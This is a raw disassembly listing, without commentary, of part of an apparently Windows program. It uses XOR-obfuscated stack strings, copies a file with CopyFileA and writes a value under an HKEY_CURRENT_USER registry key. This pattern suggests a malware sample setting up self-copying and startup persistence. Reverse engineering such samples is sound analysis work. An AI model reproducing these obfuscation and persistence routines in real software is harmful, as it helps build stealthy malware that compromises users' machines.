lea ecx, [ebp - 0x5c0]
call fcn.00467b60
lea eax, [ebp - 0x5c0]
push eax
lea ecx, [ebp - 0x410]
call fcn.00467aa0
test al, al
jne 0x446a06
nop
lea ecx, [ebp - 0x410]
call fcn.004632d0
cmp byte [ebp - 0x1c], 0
mov esi, eax
jne 0x446a06
lea ecx, [ebp - 0x3b8]
mov byte [ebp - 4], 0x2f
call fcn.0046d880
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x3b8]
or eax, 0x20000
mov ecx, esi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], eax
call fcn.0047a350
mov eax, dword [ebp - 0x3b8]
lea ecx, [ebp - 0x240]
push 0
push dword [eax]
call fcn.00467a90
mov eax, dword [ebp - 0x240]
cmp byte [eax + 0xd], 0
jne 0x4469c4
cmp byte [ebp - 0x1c], 0
jne 0x4469c4
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00463b60
test eax, eax
je 0x4469a9
push esi
lea ecx, [ebp - 0x400]
call fcn.00467bd0
lea ecx, [ebp - 0x400]
call fcn.00467b90
push esi
lea ecx, [ebp - 0x5b0]
call fcn.00467bd0
lea ecx, [ebp - 0x5b0]
call fcn.00467b60
lea eax, [ebp - 0x5b0]
push eax
lea ecx, [ebp - 0x400]
call fcn.00467aa0
test al, al
jne 0x4469a9
nop word [eax + eax]
lea ecx, [ebp - 0x400]
call fcn.004632d0
cmp byte [ebp - 0x1c], 0
mov esi, eax
jne 0x4469a9
push dword [ebp - 0x58]
lea ecx, [ebp - 0xb4]
call fcn.00402850
push 0
push 0x5214b8
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x30
call fcn.00402870
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x90], 0xf1eeee
mov byte [ebp - 0x8c], 1
call fcn.00463950
lea eax, [ebp - 0x90]
mov ecx, esi
push eax
call fcn.0046a630
cmp byte [eax], 0
je 0x446924
lea ecx, [ebp - 0x95]
mov dword [ebp - 0x95], 0xf1eeee
mov byte [ebp - 0x91], 1
call fcn.00463950
lea eax, [ebp - 0x95]
mov ecx, esi
push eax
call fcn.0046a630
push eax
lea ecx, [ebp - 0xb4]
call fcn.00471660
sub esp, 0x18
lea eax, [ebp - 0xb4]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call fcn.00466580
sub esp, 0xc
mov byte [ebp - 4], 0x32
lea eax, [ebp - 0x31c]
mov byte [ebp - 0x11], 1
mov ecx, esp
push eax
call fcn.004652c0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x31
call fcn.00414330
mov cl, al
mov byte [ebp - 4], 0x2f
mov eax, dword [ebp - 0x1c]
add esp, 0x24
test cl, cl
movzx eax, al
mov ecx, 1
cmovne eax, ecx
lea ecx, [ebp - 0xb4]
mov byte [ebp - 0x1c], al
call fcn.00402670
lea ecx, [ebp - 0x400]
call fcn.00463280
lea eax, [ebp - 0x5b0]
push eax
lea ecx, [ebp - 0x400]
call fcn.00467aa0
test al, al
je 0x446880
lea ecx, [ebp - 0x240]
call fcn.00467a30
mov eax, dword [ebp - 0x240]
cmp byte [eax + 0xd], 0
je 0x446816
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x3b8]
and eax, 0xfffdffff
mov byte [ebp - 4], 0x2e
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], eax
call fcn.0041c330
lea ecx, [ebp - 0x410]
call fcn.00463280
lea eax, [ebp - 0x5c0]
push eax
lea ecx, [ebp - 0x410]
call fcn.00467aa0
test al, al
je 0x4467b0
lea ecx, [ebp - 0x25c]
call fcn.00467a30
mov eax, dword [ebp - 0x25c]
cmp byte [eax + 0xd], 0
je 0x446740
mov esi, dword [ebp - 0x18]
and esi, 0xffefffff
lea ecx, [ebp - 0x3b0]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0041c330
jmp 0x446a41
mov byte [ebp - 0x1c], 1
lea ecx, [ebp - 0x2d4]
call fcn.00402670
lea ecx, [ebp - 0x31c]
call fcn.00468770
lea ecx, [ebp - 0x258]
call fcn.00402670
mov edi, dword [ebp - 0x48]
lea ecx, [ebp - 0x3a8]
mov byte [ebp - 4], 0x13
call fcn.00464020
mov esi, dword [ebp - 0x370]
inc edi
mov dword [ebp - 0x48], edi
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0x36c]
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x48], eax
jb 0x4458f0
sub edi, esi
mov eax, 0x2aaaaaab
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x446ac1
cmp byte [ebp - 0x1c], 0
je 0x4482a6
lea ecx, [ebp - 0x77]
mov dword [ebp - 0x77], 0xfbe5f9b5
mov word [ebp - 0x73], 0x100
call fcn.00463700
push dword [ebp - 0x58]
lea ecx, [ebp - 0x28c]
call fcn.00402850
lea ecx, [ebp - 0x77]
mov byte [ebp - 4], 0x33
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446af0
sub ecx, edx
lea eax, [ebp - 0x77]
push ecx
push eax
lea ecx, [ebp - 0x28c]
call fcn.00402870
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x61]
mov word [ebp - 0x61], 0xb5
mov byte [ebp - 0x5f], 1
call fcn.004638b0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x20], esp
mov dword [ebp - 0x268], esi
mov ecx, esi
push dword [ebp - 0x268]
call fcn.00402850
lea ecx, [ebp - 0x61]
mov byte [ebp - 4], 0x35
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446b44
sub ecx, edx
lea eax, [ebp - 0x61]
push ecx
push eax
mov ecx, esi
call fcn.00402870
sub esp, 0x18
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0x5d8]
mov ecx, esp
push eax
call fcn.00466580
lea ecx, [ebp - 0x364]
mov byte [ebp - 4], 0x34
call fcn.0040c470
add esp, 0x30
mov byte [ebp - 4], 0x37
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x360]
sub ecx, dword [ebp - 0x364]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4470d5
lea ecx, [ebp - 0x364]
call fcn.004651c0
dec eax
lea ecx, [ebp - 0x364]
push eax
call fcn.004651a0
push eax
lea ecx, [ebp - 0x28c]
call fcn.004663d0
lea ecx, [ebp - 0x124]
mov dword [ebp - 0x124], 0xf8e4fe
mov byte [ebp - 0x120], 1
call fcn.00409500
push eax
lea ecx, [ebp - 0x310]
call fcn.00402710
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x28c]
mov esi, dword [ebp - 0x18]
mov edx, eax
or esi, 1
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046ae20
test al, al
je 0x446f69
lea ecx, [ebp - 0x129]
mov dword [ebp - 0x129], 0xf4eff6
mov byte [ebp - 0x125], 1
call fcn.00409500
push eax
lea ecx, [ebp - 0x2f8]
call fcn.00402710
mov dword [ebp - 4], 0x39
lea ecx, [ebp - 0x28c]
or esi, 2
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046ae20
test al, al
je 0x446f69
lea ecx, [ebp - 0x12e]
mov dword [ebp - 0x12e], 0xefffe8
mov byte [ebp - 0x12a], 1
call fcn.00409500
push eax
lea ecx, [ebp - 0x55c]
call fcn.00402710
mov dword [ebp - 4], 0x3a
lea ecx, [ebp - 0x28c]
or esi, 4
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046ae20
test al, al
je 0x446f69
lea ecx, [ebp - 0x133]
mov dword [ebp - 0x133], 0xe9e4ef
mov byte [ebp - 0x12f], 1
call fcn.00409500
push eax
lea ecx, [ebp - 0x590]
call fcn.00402710
mov dword [ebp - 4], 0x3b
lea ecx, [ebp - 0x28c]
or esi, 8
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046ae20
test al, al
je 0x446f69
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x138], 0xfef3ff
mov byte [ebp - 0x134], 1
call fcn.00409500
push eax
lea ecx, [ebp - 0x660]
call fcn.00402710
mov dword [ebp - 4], 0x3c
lea ecx, [ebp - 0x28c]
or esi, 0x10
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046ae20
test al, al
je 0x446f69
lea ecx, [ebp - 0x15b]
mov dword [ebp - 0x15b], 0xe6fef3ff
mov word [ebp - 0x157], 0x100
call fcn.0040b8c0
push eax
lea ecx, [ebp - 0x44]
call fcn.00402710
mov dword [ebp - 4], 0x3d
lea ecx, [ebp - 0x28c]
or esi, 0x20
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046ae20
test al, al
je 0x446f69
lea ecx, [ebp - 0x13d]
mov dword [ebp - 0x13d], 0xfaf2eb
mov byte [ebp - 0x139], 1
call fcn.00409500
push eax
lea ecx, [ebp - 0x224]
call fcn.00402710
mov dword [ebp - 4], 0x3e
lea ecx, [ebp - 0x28c]
or esi, 0x40
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046ae20
test al, al
je 0x446f69
lea ecx, [ebp - 0x101]
mov dword [ebp - 0x101], 0xfaecf1
mov byte [ebp - 0xfd], 1
call fcn.00409500
push eax
lea ecx, [ebp - 0x470]
call fcn.00402710
mov dword [ebp - 4], 0x3f
lea ecx, [ebp - 0x28c]
or esi, 0x80
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046ae20
test al, al
je 0x446f69
lea ecx, [ebp - 0x161]
mov dword [ebp - 0x161], 0xf9f8ecf1
mov word [ebp - 0x15d], 0x100
call fcn.0040b8c0
push eax
lea ecx, [ebp - 0xb4]
call fcn.00402710
mov dword [ebp - 4], 0x40
lea ecx, [ebp - 0x28c]
or esi, 0x100
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046ae20
test al, al
je 0x446f69
lea ecx, [ebp - 0x106]
mov dword [ebp - 0x106], 0xedf1f9
mov byte [ebp - 0x102], 1
call fcn.00409500
push eax
lea ecx, [ebp - 0x258]
call fcn.00402710
mov dword [ebp - 4], 0x41
lea ecx, [ebp - 0x28c]
or esi, 0x200
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046ae20
test al, al
je 0x446f69
lea ecx, [ebp - 0x10b]
mov dword [ebp - 0x10b], 0xe9fdf9
mov byte [ebp - 0x107], 1
call fcn.00409500
push eax
lea ecx, [ebp - 0x2d4]
call fcn.00402710
mov dword [ebp - 4], 0x42
lea ecx, [ebp - 0x28c]
or esi, 0x400
mov edx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0046ae20
test al, al
je 0x446f69
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x110], 0xeefeed
mov byte [ebp - 0x10c], 1
call fcn.00409500
push eax
lea ecx, [ebp - 0x488]
call fcn.00402710
or esi, 0x800
lea ecx, [ebp - 0x28c]
mov edx, eax
mov dword [ebp - 0x18], esi
call fcn.0046ae20
mov byte [ebp - 0x11], 1
test al, al
jne 0x446f6d
mov byte [ebp - 0x11], 0
mov eax, dword [ebp - 0x18]
test eax, 0x800
je 0x446f8d
and eax, 0xfffff7ff
lea ecx, [ebp - 0x488]
mov dword [ebp - 0x18], eax
call fcn.00402670
mov eax, dword [ebp - 0x18]
test eax, 0x400
je 0x446faa
and eax, 0xfffffbff
lea ecx, [ebp - 0x2d4]
mov dword [ebp - 0x18], eax
call fcn.00402670
mov eax, dword [ebp - 0x18]
test eax, 0x200
je 0x446fc7
and eax, 0xfffffdff
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x18], eax
call fcn.00402670
mov eax, dword [ebp - 0x18]
test eax, 0x100
je 0x446fe4
and eax, 0xfffffeff
lea ecx, [ebp - 0xb4]
mov dword [ebp - 0x18], eax
call fcn.00402670
mov eax, dword [ebp - 0x18]
test al, al
jns 0x446ffe
and eax, 0xffffff7f
lea ecx, [ebp - 0x470]
mov dword [ebp - 0x18], eax
call fcn.00402670
mov eax, dword [ebp - 0x18]
test al, 0x40
je 0x447016
and eax, 0xffffffbf
lea ecx, [ebp - 0x224]
mov dword [ebp - 0x18], eax
call fcn.00402670
mov eax, dword [ebp - 0x18]
test al, 0x20
je 0x44702b
and eax, 0xffffffdf
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x18], eax
call fcn.00402670
mov eax, dword [ebp - 0x18]
test al, 0x10
je 0x447043
and eax, 0xffffffef
lea ecx, [ebp - 0x660]
mov dword [ebp - 0x18], eax
call fcn.00402670
mov eax, dword [ebp - 0x18]
test al, 8
je 0x44705b
and eax, 0xfffffff7
lea ecx, [ebp - 0x590]
mov dword [ebp - 0x18], eax
call fcn.00402670
mov eax, dword [ebp - 0x18]
test al, 4
je 0x447073
and eax, 0xfffffffb
lea ecx, [ebp - 0x55c]
mov dword [ebp - 0x18], eax
call fcn.00402670
mov eax, dword [ebp - 0x18]
test al, 2
je 0x44708b
and eax, 0xfffffffd
lea ecx, [ebp - 0x2f8]
mov dword [ebp - 0x18], eax
call fcn.00402670
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x37
test al, 1
je 0x4470a7
and eax, 0xfffffffe
lea ecx, [ebp - 0x310]
mov dword [ebp - 0x18], eax
call fcn.00402670
cmp byte [ebp - 0x11], 0
je 0x4470d5
lea ecx, [ebp - 0x115]
mov dword [ebp - 0x115], 0xf8e4fe
mov byte [ebp - 0x111], 1
call fcn.00409500
push eax
lea ecx, [ebp - 0x28c]
call fcn.004663a0
lea ecx, [ebp - 0x64]
mov word [ebp - 0x64], 0xb5
mov byte [ebp - 0x62], 1
call fcn.004638b0
mov edx, 0x14
lea ecx, [ebp - 0x2f8]
call fcn.0040c7d0
mov esi, eax
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x71]
mov word [ebp - 0x71], 0xc7
mov byte [ebp - 0x6f], 1
call fcn.004638b0
lea eax, [ebp - 0x71]
push eax
lea edx, [ebx + 0x80]
lea ecx, [ebp - 0x310]
call fcn.0046a2c0
add esp, 4
push esi
push eax
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x224]
push dword [ebp - 0x268]
call fcn.0046ddd0
mov edi, dword [ebp - 0x18]
or edi, 0x80000000
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x45
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x447151
sub ecx, edx
lea eax, [ebp - 0x64]
push ecx
push eax
lea ecx, [ebp - 0x224]
call fcn.00468ea0
push eax
lea ecx, [ebp - 0x258]
call fcn.004026c0
or edi, 0x40000000
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x24], edi
lea eax, [ebp - 0x28c]
mov byte [ebp - 4], 0x46
push eax
lea edx, [ebp - 0x258]
lea ecx, [ebp - 0x534]
call fcn.0046a4e0
add esp, 4
lea ecx, [ebp - 0x258]
call fcn.00402670
lea ecx, [ebp - 0x224]
call fcn.00402670
lea ecx, [ebp - 0x310]
call fcn.00402670
lea ecx, [ebp - 0x2f8]
mov byte [ebp - 4], 0x4b
call fcn.00402670
lea ecx, [ebp - 0x11f]
mov dword [ebp - 0x11f], 0xeee9e8f3
mov dword [ebp - 0x11b], 0x8d8e9aec
mov word [ebp - 0x117], 0x100
call fcn.00463610
lea ecx, [ebp - 0x5d8]
call fcn.004027b0
lea ecx, [ebp - 0x11f]
push ecx
push eax
call fcn.004dee80
add esp, 8
lea ecx, [ebp - 0x534]
test eax, eax
setne byte [ebp - 0x374]
call fcn.004027b0
lea ecx, [ebp - 0x5d8]
mov esi, eax
call fcn.004027b0
push 0x7530
push 0
push dword [ebp - 0x374]
mov edx, esi
mov ecx, eax
call fcn.00481130
add esp, 0xc
test al, al
je 0x448285
xorps xmm0, xmm0
mov byte [ebp - 0x4fc], 0
lea ecx, [ebp - 0x910]
movups xmmword [ebp - 0x51c], xmm0
movups xmmword [ebp - 0x50c], xmm0
call fcn.004814c0
lea ecx, [ebp - 0x5f0]
call fcn.00402660
lea ecx, [ebp - 0x5f0]
mov esi, eax
call fcn.004027b0
push esi
push eax
lea ecx, [ebp - 0x910]
call fcn.00481500
push 0
lea ecx, [ebp - 0x910]
call fcn.004815d0
lea eax, [ebp - 0x51c]
push eax
lea ecx, [ebp - 0x910]
call fcn.00481700
push str.1114
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x20c], 0xfcf2f8da
mov dword [ebp - 0x208], 0xc6d1f5fa
mov dword [ebp - 0x204], 0xd4c0d0c2
mov word [ebp - 0x200], 0xf1
mov byte [ebp - 0x1fe], 1
call fcn.0040a750
mov edx, eax
lea ecx, [ebp - 0x2d4]
call fcn.0046a380
add esp, 4
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x19b]
push str.1114
mov dword [ebp - 0x19b], 0xfbfaf8de
mov dword [ebp - 0x197], 0x100f3d2
call fcn.00410590
mov edx, eax
lea ecx, [ebp - 0xb4]
call fcn.0046a380
add esp, 4
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x1ef]
push str.1114
mov dword [ebp - 0x1ef], 0xcbd4cfd6
mov dword [ebp - 0x1eb], 0xd6c0c4ef
mov dword [ebp - 0x1e7], 0xf3d6c6
mov byte [ebp - 0x1e3], 1
call fcn.0040da40
mov edx, eax
lea ecx, [ebp - 0x470]
call fcn.0046a380
add esp, 4
cmp byte [ebp - 0x50], 0
mov byte [ebp - 4], 0x4e
je 0x4476b7
lea ecx, [ebp - 0x1fd]
mov dword [ebp - 0x1fd], 0xdfded3d7
mov dword [ebp - 0x1f9], 0xf2f1e1d3
mov dword [ebp - 0x1f5], 0xe7f1e5e7
mov word [ebp - 0x1f1], 0x100
call fcn.0040ef10
push eax
call fcn.004ec241
add esp, 4
test eax, eax
je 0x4476b7
push eax
lea ecx, [ebp - 0x44]
call fcn.00402710
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xd8]
mov word [ebp - 0xd8], 0xc7
mov byte [ebp - 0xd6], 1
call fcn.0040a450
push eax
lea ecx, [ebp - 0x44]
call fcn.00466380
lea ecx, [ebp - 0xd5]
mov word [ebp - 0xd5], 0xc4
mov byte [ebp - 0xd3], 1
call fcn.0040a450
push eax
lea edx, [ebp - 0x2d4]
lea ecx, [ebp - 0x2f8]
call fcn.0046a2c0
add esp, 4
lea ecx, [ebp - 0x51c]
mov byte [ebp - 4], 0x50
push ecx
mov edx, eax
lea ecx, [ebp - 0x310]
call fcn.0046a320
add esp, 4
push eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x51
call fcn.00466390
lea ecx, [ebp - 0x310]
call fcn.00402670
lea ecx, [ebp - 0x2f8]
mov byte [ebp - 4], 0x4f
call fcn.00402670
lea ecx, [ebp - 0x44]
call fcn.004027b0
mov ecx, eax
call fcn.0040bfd0
test al, al
jne 0x4474a3
lea ecx, [ebp - 0x44]
call fcn.00416190
test al, al
je 0x4476ab
lea ecx, [ebp - 0x167]
mov dword [ebp - 0x167], 0xfbe5f9b5
mov word [ebp - 0x163], 0x100
call fcn.0040b8c0
lea ecx, [ebp - 0xd2]
mov word [ebp - 0xd2], 0xc7
mov esi, eax
mov byte [ebp - 0xd0], 1
call fcn.0040a450
push eax
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x2f8]
call fcn.0046a2c0
add esp, 4
lea ecx, [ebp - 0x2d4]
mov byte [ebp - 4], 0x52
push ecx
mov edx, eax
lea ecx, [ebp - 0x310]
call fcn.0046a4e0
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x224]
call fcn.0046a320
add esp, 4
lea ecx, [ebp - 0x310]
call fcn.00402670
lea ecx, [ebp - 0x2f8]
mov byte [ebp - 4], 0x56
call fcn.00402670
sub esp, 0x18
lea eax, [ebp - 0x224]
mov ecx, esp
push eax
call fcn.00466580
call fcn.0040bf40
add esp, 0x18
test al, al
jne 0x4476a0
lea ecx, [ebp - 0x224]
call fcn.004027b0
lea ecx, [ebp - 0x534]
mov esi, eax
call fcn.004027b0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4476a0
movaps xmm0, xmmword [0x526840]
lea eax, [ebp - 0x270]
push eax
movups xmmword [ebp - 0x2bb], xmm0
lea ecx, [ebp - 0x2bb]
mov dword [ebp - 0x29b], 0xdbebc8d5
movaps xmm0, xmmword [0x5277c0]
push 0x20006
push 0
movups xmmword [ebp - 0x2ab], xmm0
mov dword [ebp - 0x297], 0xada8b3cd
mov dword [ebp - 0x293], 0xb39798ad
mov word [ebp - 0x28f], 0xa9
mov byte [ebp - 0x28d], 1
call fcn.00418260
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4476a0
lea ecx, [ebp - 0x224]
call fcn.00402660
lea ecx, [ebp - 0x224]
mov edi, eax
call fcn.004027b0
lea ecx, [ebp - 0xcf]
mov word [ebp - 0xcf], 0xc4
mov esi, eax
mov byte [ebp - 0xcd], 1
call fcn.0040a450
push eax
lea edx, [ebp - 0x2d4]
lea ecx, [ebp - 0x590]
call fcn.0046a2c0
add esp, 4
lea ecx, [ebp - 0x51c]
mov byte [ebp - 4], 0x57
push ecx
mov edx, eax
lea ecx, [ebp - 0x55c]
call fcn.0046a320
add esp, 4
mov ecx, eax
call fcn.004027b0
push edi
push esi
push 1
push 0
push eax
push dword [ebp - 0x270]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [ebp - 0x55c]
call fcn.00402670
lea ecx, [ebp - 0x590]
call fcn.00402670
push dword [ebp - 0x270]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [ebp - 0x18]
lea ecx, [ebp - 0x224]
call fcn.00402670
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x4e
call fcn.00402670
cmp byte [ebp - 0x51], 0
je 0x447dcd
movaps xmm0, xmmword [0x525ee0]
lea ecx, [ebp - 0x3d]
movups xmmword [ebp - 0x3d], xmm0
mov byte [ebp - 0x2d], 1
call fcn.0040ee80
push eax
call fcn.004ec241
add esp, 4
test eax, eax
je 0x447dcd
push eax
lea ecx, [ebp - 0x224]
call fcn.00402710
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0xcc]
mov word [ebp - 0xcc], 0xc7
mov byte [ebp - 0xca], 1
call fcn.0040a450
push eax
lea ecx, [ebp - 0x224]
call fcn.00466380
lea ecx, [ebp - 0xe4]
mov word [ebp - 0xe4], 0xc4
mov byte [ebp - 0xe2], 1
call fcn.0040a450
push eax
lea edx, [ebp - 0x470]
lea ecx, [ebp - 0x2f8]
call fcn.0046a2c0
add esp, 4
lea ecx, [ebp - 0x51c]
mov byte [ebp - 4], 0x59
push ecx
mov edx, eax
lea ecx, [ebp - 0x310]
call fcn.0046a320
add esp, 4
push eax
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 0x5a
call fcn.00466390
lea ecx, [ebp - 0x310]
call fcn.00402670
lea ecx, [ebp - 0x2f8]
mov byte [ebp - 4], 0x58
call fcn.00402670
lea ecx, [ebp - 0x224]
call fcn.004027b0
mov ecx, eax
call fcn.0040bfd0
test al, al
jne 0x4477e5
lea ecx, [ebp - 0x224]
call fcn.004027b0
push eax
lea ecx, [ebp - 0x258]
call fcn.00402710
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x258]
or edi, 0x1000
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x24], edi
call fcn.00416190
mov byte [ebp - 0x11], 0
test al, al
je 0x4477e9
mov byte [ebp - 0x11], 1
mov dword [ebp - 4], 0x58
test edi, 0x1000
je 0x44780f
and edi, 0xffffefff
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x24], edi
call fcn.00402670
cmp byte [ebp - 0x11], 0
je 0x447dbe
lea ecx, [ebp - 0x16d]
mov dword [ebp - 0x16d], 0xfbe5f9b5
mov word [ebp - 0x169], 0x100
call fcn.0040b8c0
lea ecx, [ebp - 0xb7]
mov word [ebp - 0xb7], 0xc7
mov esi, eax
mov byte [ebp - 0xb5], 1
call fcn.0040a450
push eax
lea edx, [ebp - 0x224]
lea ecx, [ebp - 0x2f8]
call fcn.0046a2c0
add esp, 4
lea ecx, [ebp - 0x470]
mov byte [ebp - 4], 0x5c
push ecx
mov edx, eax
lea ecx, [ebp - 0x310]
call fcn.0046a4e0
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x44]
call fcn.0046a320
add esp, 4
lea ecx, [ebp - 0x310]
call fcn.00402670
lea ecx, [ebp - 0x2f8]
mov byte [ebp - 4], 0x60
call fcn.00402670
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
push eax
call fcn.00466580
call fcn.0040bf40
add esp, 0x18
test al, al
jne 0x447db6
lea ecx, [ebp - 0x44]
call fcn.004027b0
lea ecx, [ebp - 0x534]
mov esi, eax
call fcn.004027b0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x447db6
push 0x104
lea eax, [ebp - 0x840]
mov dword [ebp - 0x7c], 0x104
push 0
push eax
call fcn.004df810
add esp, 0xc
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x840]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x5260e0]
lea ecx, [ebp - 0x339]
movups xmmword [ebp - 0x339], xmm0
mov dword [ebp - 0x329], 0x8ec1de84
mov dword [ebp - 0x325], 0xfaf6f9e7
mov dword [ebp - 0x321], 0xe1e7f6
mov byte [ebp - 0x31d], 1
call fcn.0040efa0
lea ecx, [ebp - 0xba]
mov dword [ebp - 0x20], eax
mov word [ebp - 0xba], 0xc4
mov byte [ebp - 0xb8], 1
call fcn.0040a450
lea ecx, [ebp - 0x1cf]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1cf], 0xeab2bcb9
mov dword [ebp - 0x1cb], 0x8380f1
mov byte [ebp - 0x1c7], 1
call fcn.0040b8f0
lea ecx, [ebp - 0x1c6]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x1c6], 0xeab2bcb9
mov dword [ebp - 0x1c2], 0x8380ed
mov byte [ebp - 0x1be], 1
call fcn.0040b8f0
mov edi, eax
lea ecx, [ebp - 0x720]
lea eax, [ebp - 0x840]
push eax
call fcn.00402710
mov esi, eax
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0x3d3]
movaps xmm0, xmmword [0x526fa0]
movups xmmword [ebp - 0x3d3], xmm0
mov dword [ebp - 0x3c3], 0x8ecb838b
mov dword [ebp - 0x3bf], 0x92e4e280
mov word [ebp - 0x3bb], 0x91
mov byte [ebp - 0x3b9], 1
call fcn.00416120
push esi
mov edx, eax
lea ecx, [ebp - 0x708]
call fcn.0046a3e0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x6f0]
call fcn.0046a320
add esp, 4
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x63
push ecx
mov edx, eax
lea ecx, [ebp - 0x6d8]
call fcn.0046a4e0
add esp, 4
push dword [ebp - 0x48]
mov edx, eax
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x6c0]
call fcn.0046a320
add esp, 4
lea ecx, [ebp - 0x470]
mov byte [ebp - 4], 0x65
push ecx
mov edx, eax
lea ecx, [ebp - 0x660]
call fcn.0046a4e0
add esp, 4
push dword [ebp - 0x28]
mov edx, eax
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x590]
call fcn.0046a320
add esp, 4
lea ecx, [ebp - 0x51c]
mov byte [ebp - 4], 0x67
push ecx
mov edx, eax
lea ecx, [ebp - 0x55c]
call fcn.0046a320
add esp, 4
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x488]
push dword [ebp - 0x20]
mov edx, eax
call fcn.0046a320
add esp, 4
lea ecx, [ebp - 0x55c]
call fcn.00402670
lea ecx, [ebp - 0x590]
call fcn.00402670
lea ecx, [ebp - 0x660]
call fcn.00402670
lea ecx, [ebp - 0x6c0]
call fcn.00402670
lea ecx, [ebp - 0x6d8]
call fcn.00402670
lea ecx, [ebp - 0x6f0]
call fcn.00402670
lea ecx, [ebp - 0x708]
call fcn.00402670
lea ecx, [ebp - 0x720]
mov byte [ebp - 4], 0x71
call fcn.00402670
sub esp, 0x18
lea ecx, [ebp - 0x488]
mov esi, esp
call fcn.004027b0
push eax
mov ecx, esi
call fcn.00402710
xor cl, cl
call fcn.00416320
movaps xmm0, xmmword [0x527870]
lea ecx, [ebp - 0x2aa]
add esp, 0x18
mov dword [ebp - 0x29a], 0xc2df838b
movups xmmword [ebp - 0x2aa], xmm0
mov dword [ebp - 0x296], 0xf5f8f88f
mov dword [ebp - 0x292], 0xe2e6f1fb
mov word [ebp - 0x28e], 0x100
call fcn.004140a0
lea ecx, [ebp - 0xbd]
mov dword [ebp - 0x48], eax
mov word [ebp - 0xbd], 0xc4
mov byte [ebp - 0xbb], 1
call fcn.0040a450
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1bd], 0xeab2bcb9
mov dword [ebp - 0x1b9], 0x8380f1
lea ecx, [ebp - 0x1bd]
